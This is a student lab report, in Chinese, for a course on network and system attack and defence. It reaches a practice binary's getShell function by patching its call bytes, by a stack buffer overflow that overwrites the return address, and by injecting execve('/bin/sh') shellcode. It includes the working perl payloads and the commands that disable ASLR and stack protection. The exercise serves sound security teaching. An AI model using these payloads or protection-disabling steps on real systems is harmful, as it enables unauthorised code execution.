20232403 2025-2026-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
本次实验围绕一个pwn20232403,通过三种不同的方式,调用getShell函数。包括直接修改可执行文件本身、利用foo函数中的缓冲区溢出漏洞和注入一段精简的Shellcode。这三种方法由浅入深,从直接修改到漏洞利用,再到代码注入,完整展现了二进制安全攻防的核心思想。
2.实验过程
(1)实践一 改变程序执行流程,直接跳转到getShell函数
下载目标文件pwn1,更名,反汇编。
objdump -d pwn20232403 | more
结果如下:
不难发现,其中有一行"call 8048491 ",这是关键,实际上是main函数在调用别的函数,对应的机器指令为“e8 d7 ff ff ff”,其中call操作对应e8。
现在,我们希望让main函数调用getshell,那么就需要将跳转地址改为getshell的地址补码,即“c3”。
创建副本,在副本中进入vi,并搜索e8 d7,结果如下:
修改d7为c3:
退出vi后查看副本反汇编,果然,修改后调用函数发生变化:
运行改后的代码:
实践一成功
(2)实践二 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
反汇编pwn20232403
观察到,我们想要调用的是getshell函数,而main函数调用的是foo函数,但是这个函数没有进行缓冲区检测,有缓冲区漏洞,利用这个漏洞可以尝试覆盖返回地址。
现在的首要任务是确认输入多少字符可以覆盖地址
可以看到,当我们输入1111111122222222333333334444444455555555这一串字符时,EIP的ASCII码对应值为5555
我们将字符5修改,输入1111111122222222333333334444444412345678
这里可以观察到两点
第一,EIP的ASCII码对应值为1234,说明输入的1234那里会覆盖返回地址。
第二,EIP中实际存储并非31323334,而是34333231,说明存储方式是小端序,因此我们输入getshell地址也应为小端序。
构造输入字符串
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
其中\x0a为回车
结果如下:
成功调用getshell
实践二成功
(3)实践三 注入一个自己制作的shellcode并运行这段shellcode。
首先,对pwn文件进行设置
设置堆栈可执行并关闭地址随机化
构造payload。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
注入攻击buf,另开一终端进行gdb调试
01020304为返回地址的位置,为ffffcf6c
根据已知重新构造payload。
perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x50\xcf\xff\xff\x00"' > input_shellcode
运行shellcode,成功
实践三成功
3.问题及解决方案
- 问题1:
┌──(kali㉿xiangyang)-[~/Desktop]
└─$ ./pwn20232403a
zsh: 权限不够: ./pwn20232403a - 问题1解决方案:
添加执行权限
chmod +x pwn20232403a
./pwn20232403a - 问题2:
┌──(kali㉿xiangyang)-[~/Desktop]
└─$ execstack -s pwn20232403
Failed to read program header - 问题2解决方案:
- 设置堆栈可执行
sudo patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 pwn1 - 检查堆栈权限
readelf -l pwn1 | grep -A1 -B1 STACK - 关闭地址随机化
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space - 验证
cat /proc/sys/kernel/randomize_va_space
4.学习感悟、思考等
通过本次实验,我对二进制程序的安全机制和攻击方法有了更深入的理解。我认识到可执行文件在不进行安全保护的情况下是十分脆弱的。作为安全学习者,我不仅需要掌握攻击技术以理解漏洞本质,更要树立安全编程意识,从源头减少漏洞的产生。